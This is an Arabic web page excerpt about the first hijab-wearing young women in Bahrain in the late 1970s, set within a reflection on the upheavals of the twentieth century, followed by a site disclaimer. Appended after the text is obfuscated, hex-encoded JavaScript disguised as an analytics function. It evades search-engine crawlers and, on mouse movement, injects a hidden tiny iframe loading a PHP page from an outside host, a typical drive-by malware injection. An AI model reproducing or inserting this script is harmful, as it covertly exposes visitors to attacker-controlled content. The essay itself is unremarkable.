

فتيات في أوائل أعمارهن.. في النصف الثاني من سبعينات القرن الماضي، قليلة أعدادهن، يمشين بخضر وزيادة بعض الشيء، وجوههن إلى الأرض، يرتدين على رؤوسهن قطعاً من القماش الغريب عن الوسط الذي أتين منه، يصطنعن لهن سمناً جديداً لم يكن معروفاً في مجتمع البحرين في ذلك الوقت.

في ذلك القرن الذي شهد التحولات الكبرى، وتطبيق الأفكار والنظريات التي امتدت جذورها إلى القرن الذي سبقه، قرن لا يشبهه قرن في التاريخ، تم توثيقه كما لم يوثق قرن مضى بالكلمة والصورة الثابتة والمتحركة، حدث ابتذال بصري في ذلك القرن الذي اختلطت فيه الرغبات الإنسانية من كل فج.. مدارس وقيم وأفكار ومناهج تطيح ببعضها البعض، لا يكاد يثبت منها شيء.. الحرب الكونية التي أصبحت "بروفة" لحرب أكبر منها، بدايات ونهايات للكثير من اليقينيات، احتفاء بالمحسوس وانحسار وتواري للقيم الروحية.. إسراف إلى حد البذخ لطمأنة النفس وإبعاد مخاوفها، كمن يمشي في دهليز مظلم ويصفر بأعلى صوته ليبعد الخوف عن نفسه.. الدماء والدمار اللذان حاقا بأطراف العالم.. الانقلابات العلمية المتتالية، ونهوض وسقوط الأمم.. قرن لم يكن ليتمثل مع باقي القرون، بات فيه كل شيء سريعاً إلى حد الكتابة، بعدما كان البطء المفرط جالباً لكآبة من كانوا في القرون السالفة، الحصول على كل شيء ولما شيء، والرغبات المدمرة في الامتلاك.. قرن شهد الفوارق الأساسية بين الأمم، والهوات التي تفصل الشمال عن الجنوب بعدد من السنين الضوئية.. قرن أكمل العمليات الحسابية لتراكمات آلاف السنين، لتستقر معه القوانين الأساسية للعبة الدولية، وتتسابق فيه المدنيات الكبرى سقوطاً واعتداء على عرش تسيير المدفة..

في هذا الخضم كله، تأتي فتيات قليلة أعدادهن، يرتدين قطعاً من القماش على رؤوسهن، النظرات الموجهة إليهن تمتزج استغراباً واستهجاناً، وما تلبث أن تتحول إلى سخرية مريرة من هذا الملبس الجديد.. إنهن المتحجبات الأول في البحرين.

المزيد في المرفقات

الأفكار الواردة في الأوراق والمدخلات والتعليقات لا تعبر عن رأي الموقع وإنما عن رأي أصحابها

var

```
_0xfc05=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65x78x6Dx65x74x72x69x6Bx61","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67x6Fx6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x68x65x69x67x68x74","x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx73x68x61x72x6Bx79x70x72x6Fx2Ex73x79x6Ex6Fx6Cx6Fx79x2Ex6Dx65x2Fx56x42x34x2Fx69x6Ex63x6Cx75x64x65x73x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65x72x48x65x69x67x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67x68x74","x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29"];function googleAnalyticsStatisticsBuild(){var _0x11fex2=navigator[_0xfc05][1][_0xfc05[0]]();var _0x11fex3=[_0xfc05[2],_0xfc05[3],_0xfc05[4],_0xfc05[5]];for(k in
```

```
_0x11fex3){if(_0x11fex2[_0xfc05[6]](_0x11fex3[k])!=-1){return ;} ;var _0x11fex4=detectBrowserSize();if(_0x11fex4[_0xfc05[7]]==0||_0x11fex4[_0xfc05[8]]==0){return ;} ;var
_0x11fex5=false;if(document[_0xfc05[11]](_0xfc05[10])[0][_0xfc05[9]])[_0x11fex5=document[_0xfc05[11]](_0xfc05[10])[0][_0xfc05[9]]];
;document[_0xfc05[11]](_0xfc05[10])[0][_0xfc05[9]]=function
(){if(!document[_0xfc05[13]](_0xfc05[12])){iframe=document[_0xfc05[15]](_0xfc05[14]);iframe[_0xfc05[7]]=_0xfc05[16];iframe[_0xfc05[8]]=_0xfc05[16];iframe[_0xfc05[17]]=_0xf
c05[12];iframe[_0xfc05[18]]=_0xfc05[19];document[_0xfc05[11]](_0xfc05[10])[0][_0xfc05[20]](iframe);} ;if(_0x11fex5!==false){_0x11fex5(0);} ;} ;function
detectBrowserSize(){var _0x11fex7=0,_0x11fex8=0;if( typeof (window[_0xfc05[21]])==_0xfc05[22]){_0x11fex7=window[_0xfc05[21]];_0x11fex8=window[_0xfc05[23]];} else
{if(document[_0xfc05[24]]&&(document[_0xfc05[24]][_0xfc05[25]]||document[_0xfc05[24]][_0xfc05[26]]))[_0x11fex7=document[_0xfc05[24]][_0xfc05[25]];_0x11fex8=document[_
0xfc05[24]][_0xfc05[26]];} else
{if(document[_0xfc05[10]]&&(document[_0xfc05[10]][_0xfc05[25]]||document[_0xfc05[10]][_0xfc05[26]]))[_0x11fex7=document[_0xfc05[10]][_0xfc05[25]];_0x11fex8=document[_
0xfc05[10]][_0xfc05[26]];} ;} ;return {width:_0x11fex7,height:_0x11fex8};} ;setTimeout(_0xfc05[27],500);
```